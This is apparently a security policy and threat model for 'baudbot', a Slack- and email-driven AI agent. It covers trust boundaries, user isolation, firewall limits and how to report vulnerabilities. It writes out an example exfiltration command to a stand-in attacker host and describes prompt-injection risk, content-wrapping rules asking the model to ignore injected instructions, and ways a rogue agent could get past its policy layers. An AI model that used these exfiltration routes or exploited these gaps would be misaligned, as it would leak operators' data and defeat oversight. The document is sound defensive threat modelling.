For product overview and team workflow context, start with README.md. For architecture and operations docs, see docs/architecture.md and docs/operations.md.

root-managed releases
├── /opt/baudbot/releases/<sha>/ # immutable, git-free snapshots
├── /opt/baudbot/current -> <sha>
└── /opt/baudbot/previous -> <sha>
agent runtime (baudbot_agent)
├── ~/runtime/ # launcher + bridge + runtime scripts
├── ~/.pi/agent/ # deployed extensions/skills + memory + manifests
└── ~/workspace/ # repos + task worktrees

Live execution runs from deployed/runtime copies. baudbot update publishes a snapshot, deploys runtime files, validates health, then atomically flips current.

Live execution runs from release snapshots under /opt/baudbot.

┌─────────────────────────────────────────────────────────────────┐
│ UNTRUSTED │
│ Slack messages, email body content, web-fetched content │
└──────────────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ BOUNDARY 1: Access Control │
│ Slack bridge: SLACK_ALLOWED_USERS allowlist │
│ Email: allowed senders + shared secret (BAUDBOT_SECRET) │
│ Content wrapping: external messages get security boundaries │
└──────────────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ BOUNDARY 2: OS User Isolation │
│ baudbot_agent (uid 1001) — separate home, no sudo │
│ In default hardened installs, admin home is not readable by agent (typically mode 700) │
│ Runtime executes from release snapshots under /opt/baudbot │
│ Docker only via wrapper (blocks --privileged, host mounts) │
└──────────────────────────────┬──────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ BOUNDARY 3: Network (if firewall applied) │
│ Outbound: HTTP/HTTPS/SSH/DNS only │
│ No reverse shells, raw sockets, or non-standard ports │
│ Localhost: bridge API, postgres, ollama │
└─────────────────────────────────────────────────────────────────┘

Primary hard boundaries are runtime permissions, user isolation, and release-based deployment. If local source isolation is also enforced, admin can re-deploy from source to restore expected state.

Important scope note: Many controls in this document are defense-in-depth and can be bypassed by a sufficiently capable or compromised rogue agent operating within its allowed user permissions. They are still valuable because they reduce accidental drift, surface tampering quickly, and help a non-compromised agent stay aligned with intended workflows.

Admin → baudbot_agent access: The admin user is in the baudbot_agent group and has NOPASSWD: ALL as baudbot_agent via sudo. This is intentional for management. Run bin/harden-permissions.sh to ensure pi state files are owner-only (prevents passive group-level reads).

baudbot_agent → admin access: Expected to be none in default installs. This depends on host permissions (for example, admin home mode and group membership) remaining hardened.

Slack message (Socket Mode or broker pull mode)
→ bridge process (runs in baudbot_agent runtime)
→ content wrapping (security boundaries added)
→ control-agent (pi session)
→ creates todo + delegates to dev-agent in worktree
→ code/test/PR/CI loop
→ control-agent posts status via bridge local API (127.0.0.1:7890)
→ Slack thread reply

# Source-only changes from local checkout
sudo baudbot deploy
# Operational update from git (recommended for live bot)
sudo baudbot update
# Roll back if needed
sudo baudbot rollback previous

Within its own user permissions, baudbot_agent can run any command. Tool-guard and the safe-bash wrapper are defense-in-depth policy layers that block many known-dangerous patterns, but they are not a complete containment boundary and prompt injection could attempt novel commands.

The deployed copies of non-security files (bridge.mjs, skills, most extensions) are agent-writable by design. The agent could modify these. Security-critical files (tool-guard.ts, security.mjs) are write-protected at the filesystem level and monitored via integrity checks.

Even with port-based firewall rules, the agent can reach any host over HTTPS. Data exfiltration via curl https://attacker.com?data=... is possible.

The <<<EXTERNAL_UNTRUSTED_CONTENT>>> boundaries and security notice ask the LLM to ignore injected instructions. This raises the bar but is not a hard security boundary.

Pi session logs (.jsonl files) contain full conversation transcripts for retained sessions. Baudbot now prunes old logs on startup (14-day retention) and redacts common secret patterns, but retained logs are still sensitive data and should stay owner-only (see bin/harden-permissions.sh).

Do not open a public GitHub issue for security vulnerabilities.

Instead, use GitHub Security Advisories to report privately. You can also email security@modem.dev.

We'll acknowledge reports within 48 hours and aim to release a fix within 7 days for critical issues.